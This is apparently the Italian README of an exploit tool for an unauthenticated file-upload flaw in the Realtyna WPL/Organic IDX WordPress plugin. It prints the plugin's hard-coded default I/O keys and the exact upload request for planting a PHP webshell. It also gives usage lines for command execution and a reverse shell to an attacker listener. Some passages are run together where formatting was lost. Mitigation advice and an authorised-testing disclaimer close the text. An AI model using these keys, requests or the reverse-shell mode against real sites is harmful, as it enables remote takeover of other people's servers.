
Exploit di upload arbitrario di file non autenticato per il plugin WordPress Realtyna WPL/Organic IDX, combina l'upload di una webshell PHP per ottenere RCE, con modalità di esecuzione di comandi e reverse shell.
Caricamento non autenticato di file arbitrari che porta a RCE nel plugin WordPress Realtyna WPL / Organic IDX (real-estate-listing-realtyna-wpl ≤ 5.2.0).
Il plugin registra un "servizio I/O" nell'hook pubblico WordPress init, raggiungibile senza autenticazione dalla root del sito tramite ?wplview=io&wplformat=io. L'unica protezione è una coppia di chiavi predefinite statiche e hard-coded incluse nelle migrazioni del plugin (identiche su ogni installazione), con io_status abilitato per impostazione predefinita:
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
Il comando set_property (libraries/io/mobile_application/set_property.php → ) salva il caricato con e , quindi una webshell può essere depositata ed eseguita come utente web.
wpl_file::uploadfile[]move_uploaded_file.phpreal-estate-listing-realtyna-wpl ≤ 5.2.0www-data)Solo libreria standard di Python 3 — nessuna dipendenza.
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1
con un file[] multipart denominato image_<name>.php. Il prefisso image_ viene rimosso, quindi il file
viene salvato come <name>.php.wp-content/uploads/WPL/<pid>/<name>.php, dove <pid> è
l'id della proprietà creata dalla richiesta (la risposta non lo restituisce). Lo strumento
enumera i piccoli id di proprietà per trovare la shell.…/<name>.php?c=<cmd>.Un sito WordPress con il plugin real-estate-listing-realtyna-wpl attivo (≤ 5.2.0). L'endpoint risponde a GET /?wplview=io&wplformat=io (il servizio I/O del plugin).
Aggiornare il plugin a ≥ 5.3.0, validare le estensioni/MIME dei caricamenti, non eseguire mai PHP da wp-content/uploads e ruotare le chiavi I/O statiche predefinite del plugin.
Solo per test di sicurezza autorizzati e scopi educativi. Usalo solo contro sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test.